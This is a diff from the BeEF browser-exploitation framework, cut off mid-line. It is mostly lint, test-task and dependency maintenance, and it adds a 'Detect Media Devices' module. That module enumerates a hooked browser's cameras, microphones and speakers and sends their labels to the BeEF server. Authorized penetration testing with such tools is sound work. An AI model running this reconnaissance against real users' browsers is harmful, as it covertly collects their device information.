diff --git a/.bundle/config b/.bundle/config index 4c8cd7f74..b6ce7f0ea 100644 --- a/.bundle/config +++ b/.bundle/config @@ -1,3 +1,2 @@ --- -BUNDLE_WITHOUT: "development:test" BUNDLE_WITH: "geoip:ext_msf:ext_notifications:ext_dns:ext_qrcode" diff --git a/.eslintrc.json b/.eslintrc.json deleted file mode 100644 index 0bb6ce9d8..000000000 --- a/.eslintrc.json +++ /dev/null @@ -1,47 +0,0 @@ -{ - "env": { - "browser": true, - "es6": false - }, - "extends": ["eslint:recommended"], - - "parserOptions": { - "ecmaVersion": 5, - "sourceType": "script" - }, - - "ignorePatterns": [ - "core/main/client/lib/**", - "modules/**" - ], - - "rules": { - /* Keep this minimal at first. Add project-specific rules after seeing CI logs. */ - }, - - "globals": { - // beef - "beef": "readonly", - - // jQuery / alias - "$": "readonly", - "jQuery": "readonly", - "$j": "readonly", - - // BeEF bootstrapping - "beef_init": "readonly", - - // Existing libraries - "MobileEsp": "readonly", - "evercookie": "readonly", - "swfobject": "readonly", - - // Browser-specific globals (old IE / old Firefox) - "XDomainRequest": "readonly", - "MozWebSocket": "readonly", - "clipboardData": "readonly", - - // Debug - "isDebug": "readonly" - } -} \ No newline at end of file diff --git a/.github/workflows/eslint.yml b/.github/workflows/eslint.yml index 54070cf9b..2365fea36 100644 --- a/.github/workflows/eslint.yml +++ b/.github/workflows/eslint.yml @@ -73,7 +73,7 @@ jobs: run: | echo "Running ESLint on entire codebase" echo "This is a report-only job and will not block the PR." - npx eslint "**/*.js" || true + npx eslint . || true - name: Summary if: always() diff --git a/.gitignore b/.gitignore index 64282a1c5..c261e2701 100644 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,12 @@ beef.log test/msf-test extensions/admin_ui/media/javascript-min/ custom-config.yaml + +# Generated at runtime by Hook_default_browser#pre_send +modules/host/hook_default_browser/bounce_to_ie_configured.pdf + +# Generated at runtime by browser/spyder_eye#post_execute (and possibly other capture modules) +screenshot_*.png .DS_Store .gitignore .rvmrc diff --git a/.npmrc b/.npmrc new file mode 100644 index 000000000..ec9e05d8a --- /dev/null +++ b/.npmrc @@ -0,0 +1 @@ +min-release-age=3 diff --git a/.rspec b/.rspec index 9619a10b3..7fe3cb532 100644 --- a/.rspec +++ b/.rspec @@ -2,3 +2,5 @@ --color --require spec_helper -I . +--tag ~run_on_browserstack +--tag ~run_on_long_tests diff --git a/.simplecov b/.simplecov new file mode 100644 index 000000000..9ecf5c4e0 --- /dev/null +++ b/.simplecov @@ -0,0 +1,32 @@ +# SimpleCov configuration file +# This provides a cleaner alternative to configuring SimpleCov in spec_helper.rb + +SimpleCov.configure do + # Basic filters + add_filter '/spec/' + add_filter '/config/' + add_filter '/test/' + + # Group coverage by component + add_group 'Core', 'core' + add_group 'Extensions', 'extensions' + add_group 'Modules', 'modules' + + # Track files based on coverage focus + if ENV['COVERAGE'] == 'core' + track_files 'core/**/*.rb' + elsif ENV['COVERAGE'] == 'extensions' + track_files 'extensions/**/*.rb' + elsif ENV['COVERAGE'] == 'modules' + track_files 'modules/**/*.rb' + else + # Default: track everything + track_files '{core,extensions,modules}/**/*.rb' + end + + # Coverage thresholds + minimum_coverage 80 if ENV['CI'] + + # Formatters + formatter SimpleCov::Formatter::HTMLFormatter +end \ No newline at end of file diff --git a/Gemfile.lock b/Gemfile.lock index 870b510f7..28f68c30b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -90,7 +90,7 @@ GEM prism (>= 1.3.0) rdoc (>= 4.0.0) reline (>= 0.4.2) - json (2.19.4) + json (2.19.5) language_server-protocol (3.17.0.5) lint_roller (1.1.0) logger (1.7.0) diff --git a/Rakefile b/Rakefile index 6a80c1b39..9b25479d6 100644 --- a/Rakefile +++ b/Rakefile @@ -5,12 +5,82 @@ # require 'rspec/core/rake_task' -task :default => ["short"] +task default: ['short'] -RSpec::Core::RakeTask.new(:short) do |task| - task.rspec_opts = ['--tag ~run_on_browserstack', '--tag ~run_on_long_tests'] +# Run rspec with an explicit file list (avoids envs that only run 557). +# Note: when run with the full file list, module specs load after extensions; the Dns stub in +# network_spec must not run before the real Dns extension (dns_spec) or you get "superclass mismatch". +desc 'Run short spec suite (all specs except browserstack/long)' +task :short do + short_files = Dir[File.join(Dir.pwd, 'spec', '**', '*_spec.rb')].sort + $stderr.puts "[rake short] spec files=#{short_files.size}" + abort '[rake short] Expected 60+ spec files; check you are in project root.' if short_files.size < 60 + opts = [ + '--tag', '~run_on_browserstack', + '--tag', '~run_on_long_tests' + ] + ok = system('bundle', 'exec', 'rspec', *short_files, *opts) + abort 'rspec failed' unless ok end +# Legacy namespace for backward compatibility +namespace :coverage do + task :modules => 'coverage_modules' + task :core => 'coverage_core' + task :extensions => 'coverage_extensions' + task :all => 'coverage' +end + +# Base spec tasks +RSpec::Core::RakeTask.new(:spec) do |t| + t.pattern = 'spec/**/*_spec.rb' + t.rspec_opts = ['--tag', '~run_on_browserstack', '--tag', '~run_on_long_tests'] +end + +RSpec::Core::RakeTask.new(:spec_core) do |t| + t.pattern = 'spec/beef/core/**/*_spec.rb' + t.rspec_opts = ['--tag', '~run_on_browserstack', '--tag', '~run_on_long_tests'] +end + +RSpec::Core::RakeTask.new(:spec_extensions) do |t| + t.pattern = 'spec/beef/extensions/**/*_spec.rb' + t.rspec_opts = ['--tag', '~run_on_browserstack', '--tag', '~run_on_long_tests'] +end + +RSpec::Core::RakeTask.new(:spec_modules) do |t| + t.pattern = 'spec/beef/modules/**/*_spec.rb' + t.rspec_opts = ['--tag', '~run_on_browserstack', '--tag', '~run_on_long_tests'] +end + +# Coverage tasks using environment variables for cleaner configuration +desc 'Run all specs with complete coverage tracking' +task :coverage do + ENV['COVERAGE'] = 'all' + Rake::Task['spec'].invoke +end + +desc 'Run core specs with coverage' +task :coverage_core do + ENV['COVERAGE'] = 'core' + Rake::Task['spec_core'].invoke +end + +desc 'Run extensions specs with coverage' +task :coverage_extensions do + ENV['COVERAGE'] = 'extensions' + Rake::Task['spec_extensions'].invoke +end + +desc 'Run modules specs with coverage' +task :coverage_modules do + ENV['COVERAGE'] = 'modules' + Rake::Task['spec_modules'].invoke +end + +# Alias for backward compatibility +task :coverage_complete => :coverage +task :coverage_all => :coverage + RSpec::Core::RakeTask.new(:long) do |task| task.rspec_opts = ['--tag ~run_on_browserstack'] end diff --git a/eslint.config.js b/eslint.config.js new file mode 100644 index 000000000..44cee5d4f --- /dev/null +++ b/eslint.config.js @@ -0,0 +1,61 @@ +"use strict"; + +const js = require("@eslint/js"); +const globals = require("globals"); + +module.exports = [ + { + ignores: [ + "core/main/client/lib/**", + "modules/**", + "node_modules/**", + "extensions/admin_ui/media/javascript-min/**", + "**/*.min.js", + ], + }, + js.configs.recommended, + { + files: ["**/*.js"], + ignores: ["eslint.config.js"], + languageOptions: { + ecmaVersion: 5, + sourceType: "script", + globals: { + ...globals.browser, + + // BeEF + beef: "readonly", + beef_init: "readonly", + + // jQuery + $: "readonly", + jQuery: "readonly", + $j: "readonly", + + // Libraries + MobileEsp: "readonly", + evercookie: "readonly", + swfobject: "readonly", + + // Browser-specific (old IE / old Firefox) + XDomainRequest: "readonly", + MozWebSocket: "readonly", + clipboardData: "readonly", + + // Debug + isDebug: "readonly", + }, + }, + }, + { + files: ["eslint.config.js"], + languageOptions: { + ecmaVersion: "latest", + sourceType: "commonjs", + globals: { + module: "writable", + require: "readonly", + }, + }, + }, +]; diff --git a/modules/browser/detect_media_devices/command.js b/modules/browser/detect_media_devices/command.js new file mode 100644 index 000000000..20ee02ca1 --- /dev/null +++ b/modules/browser/detect_media_devices/command.js @@ -0,0 +1,47 @@ +// +// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - https://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function () { + if (typeof navigator.mediaDevices === 'undefined' || + typeof navigator.mediaDevices.enumerateDevices !== 'function') { + beef.net.send("<%= @command_url %>", <%= @command_id %>, + "error=" + encodeURIComponent("API not available in this browser"), + beef.status.error()); + return; + } + + navigator.mediaDevices.enumerateDevices() + .then(function (devices) { + var result = { + audioinput: { count: 0, labels: [] }, + audiooutput: { count: 0, labels: [] }, + videoinput: { count: 0, labels: [] } + }; + devices.forEach(function (device) { + if (result[device.kind]) { + result[device.kind].count++; + if (device.label) { + result[device.kind].labels.push(device.label); + } + } + }); + + var body = + "audioinput_count=" + result.audioinput.count + + "&audioinput_labels=" + encodeURIComponent(result.audioinput.labels.join(", ")) + + "&audiooutput_count=" + result.audiooutput.count + + "&audiooutput_labels=" + encodeURIComponent(result.audiooutput.labels.join(", ")) + + "&videoinput_count=" + result.videoinput.count + + "&videoinput_labels=" + encodeURIComponent(result.videoinput.labels.join(", ")); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, body, beef.status.success()); + }) + .catch(function (err) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, + "error=" + encodeURIComponent("Error: " + (err.message || String(err))), + beef.status.error()); + }); +}); diff --git a/modules/browser/detect_media_devices/config.yaml b/modules/browser/detect_media_devices/config.yaml new file mode 100644 index 000000000..1bd635b48 --- /dev/null +++ b/modules/browser/detect_media_devices/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + detect_media_devices: + enable: true + category: "Browser" + name: "Detect Media Devices" + description: "This module enumerates media input/output devices (microphones, cameras, speakers) available to the hooked browser via navigator.mediaDevices.enumerateDevices()." + authors: ["Sethumadhavan", "bcoles"] + target: + not_working: ["IE"] + working: ["All"] diff --git a/modules/browser/detect_media_devices/module.rb b/modules/browser/detect_media_devices/module.rb new file mode 100644 index 000000000..29f42ca3c --- /dev/null +++ b/modules/browser/detect_media_devices/module.rb @@ -0,0 +1,18 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Detect_media_devices < BeEF::Core::Command + def post_execute + content = {} + content['audioinput_count'] = @datastore['audioinput_count'] unless @datastore['audioinput_count'].nil? + content['audioinput_labels'] = @datastore['audioinput_labels'] unless @datastore['audioinput_labels'].nil? + content['audiooutput_count'] = @datastore['audiooutput_count'] unless @datastore['audiooutput_count'].nil? + content['audiooutput_labels'] = @datastore['audiooutput_labels'] unless @datastore['audiooutput_labels'].nil? + content['videoinput_count'] = @datastore['videoinput_count'] unless @datastore['videoinput_count'].nil? + content['videoinput_labels'] = @datastore['videoinput_labels'] unless @datastore['videoinput_labels'].nil? + content['error'] = @datastore['error'] unless @datastore['error'].nil? + save content + end +end diff --git a/package-lock.json b/package-lock.json index 9c8d5b007..5736d91ae 100644 --- a/package-lock.json +++ b/package-lock.json @@ -9,19 +9,11 @@ "version": "0.6.0.0", "license": "GNU General Public License v2.0", "devDependencies": { - "eslint": "^7.32.0", - "jsdoc": "^4.0.5", - "jsdoc-to-markdown": "^9.1.3" - } - }, - "node_modules/@babel/code-frame": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.11.tgz", - "integrity": "sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/highlight": "^7.10.4" + "@eslint/js": "10.0.1", + "eslint": "10.4.0", + "globals": "17.6.0", + "jsdoc": "4.0.5", + "jsdoc-to-markdown": "9.1.3" } }, "node_modules/@babel/helper-string-parser": { @@ -43,100 +35,6 @@ "node": ">=6.9.0" } }, - "node_modules/@babel/highlight": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.25.9.tgz", - "integrity": "sha512-llL88JShoCsth8fF8R4SJnIn+WLvR6ccFxu1H3FlMhDontdcmZWf2HgIZ7AIqV3Xcck1idlohrN4EUBQz6klbw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-validator-identifier": "^7.25.9", - "chalk": "^2.4.2", - "js-tokens": "^4.0.0", - "picocolors": "^1.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/highlight/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/highlight/node_modules/chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/highlight/node_modules/color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-name": "1.1.3" - } - }, - "node_modules/@babel/highlight/node_modules/color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@babel/highlight/node_modules/escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/@babel/highlight/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/highlight/node_modules/supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/@babel/parser": { "version": "7.25.7", "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.25.7.tgz", @@ -166,50 +64,199 @@ "node": ">=6.9.0" } }, - "node_modules/@eslint/eslintrc": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-0.4.3.tgz", - "integrity": "sha512-J6KFFz5QCYUJq3pf0mjEcCJVERbzv71PUIDczuh9JkwGEzced6CO5ADLHB1rbf/+oPBtoPfMYNOpGDzCANlbXw==", + "node_modules/@eslint-community/eslint-utils": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", + "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", "dev": true, "license": "MIT", "dependencies": { - "ajv": "^6.12.4", - "debug": "^4.1.1", - "espree": "^7.3.0", - "globals": "^13.9.0", - "ignore": "^4.0.6", - "import-fresh": "^3.2.1", - "js-yaml": "^3.13.1", - "minimatch": "^3.0.4", - "strip-json-comments": "^3.1.1" + "eslint-visitor-keys": "^3.4.3" }, "engines": { - "node": "^10.12.0 || >=12.0.0" + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, - "node_modules/@humanwhocodes/config-array": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.5.0.tgz", - "integrity": "sha512-FagtKFz74XrTl7y6HCzQpwDfXP0yhxe9lHLD1UZxjvZIcbyRz8zTFF/yYNfSfzU414eDwZ1SrO0Qvtyf+wFMQg==", - "deprecated": "Use @eslint/config-array instead", + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.23.5", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.23.5.tgz", + "integrity": "sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA==", "dev": true, "license": "Apache-2.0", "dependencies": { - "@humanwhocodes/object-schema": "^1.2.0", - "debug": "^4.1.1", - "minimatch": "^3.0.4" + "@eslint/object-schema": "^3.0.5", + "debug": "^4.3.1", + "minimatch": "^10.2.4" }, "engines": { - "node": ">=10.10.0" + "node": "^20.19.0 || ^22.13.0 || >=24" } }, - "node_modules/@humanwhocodes/object-schema": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", - "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", - "deprecated": "Use @eslint/object-schema instead", + "node_modules/@eslint/config-helpers": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.6.0.tgz", + "integrity": "sha512-ii6Bw9jJ2zi2cWA2Z+9/QZ/+3DX6kwaV5Q986D/CdP3Lap3w/pgQZ373FV7byY/i7L4IRH/G43I5dz1ClsCbpA==", "dev": true, - "license": "BSD-3-Clause" + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/core": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-1.2.1.tgz", + "integrity": "sha512-MwcE1P+AZ4C6DWlpin/OmOA54mmIZ/+xZuJiQd4SyB29oAJjN30UW9wkKNptW2ctp4cEsvhlLY/CsQ1uoHDloQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/js": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-10.0.1.tgz", + "integrity": "sha512-zeR9k5pd4gxjZ0abRoIaxdc7I3nDktoXZk2qOv9gCNWx3mVwEn32VRhyLaRsDiJjTs0xq/T8mfPtyuXu7GWBcA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "eslint": "^10.0.0" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + } + } + }, + "node_modules/@eslint/object-schema": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-3.0.5.tgz", + "integrity": "sha512-vqTaUEgxzm+YDSdElad6PiRoX4t8VGDjCtt05zn4nU810UIx/uNEV7/lZJ6KwFThKZOzOxzXy48da+No7HZaMw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.7.1.tgz", + "integrity": "sha512-rZAP3aVgB9ds9KOeUSL+zZ21hPmo8dh6fnIFwRQj5EAZl9gzR7wxYbYXYysAM8CTqGmUGyp2S4kUdV17MnGuWQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1", + "levn": "^0.4.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@humanfs/core": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", + "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/types": "^0.15.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", + "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.2", + "@humanfs/types": "^0.15.0", + "@humanwhocodes/retry": "^0.4.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/types": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", + "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", + "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } }, "node_modules/@jsdoc/salty": { "version": "0.2.8", @@ -258,6 +305,27 @@ "node": ">= 8" } }, + "node_modules/@types/esrecurse": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@types/esrecurse/-/esrecurse-4.3.1.tgz", + "integrity": "sha512-xJBAbDifo5hpffDBuHl0Y8ywswbiAp/Wi7Y/GtAgSlZyIABppyurxVueOPE8LUQOxdlgi6Zqce7uoEpqNTeiUw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, "node_modules/@types/linkify-it": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/@types/linkify-it/-/linkify-it-5.0.0.tgz", @@ -281,9 +349,9 @@ "dev": true }, "node_modules/acorn": { - "version": "7.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", - "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "version": "8.16.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", + "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", "dev": true, "license": "MIT", "bin": { @@ -304,9 +372,9 @@ } }, "node_modules/ajv": { - "version": "6.12.6", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", - "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz", + "integrity": "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==", "dev": true, "license": "MIT", "dependencies": { @@ -320,26 +388,6 @@ "url": "https://github.com/sponsors/epoberezkin" } }, - "node_modules/ansi-colors": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz", - "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", @@ -370,23 +418,16 @@ "node": ">=12.17" } }, - "node_modules/astral-regex": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", - "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", "dev": true, "license": "MIT", "engines": { - "node": ">=8" + "node": "18 || 20 || >=22" } }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, - "license": "MIT" - }, "node_modules/bluebird": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", @@ -394,14 +435,16 @@ "dev": true }, "node_modules/brace-expansion": { - "version": "1.1.12", - "resolved": 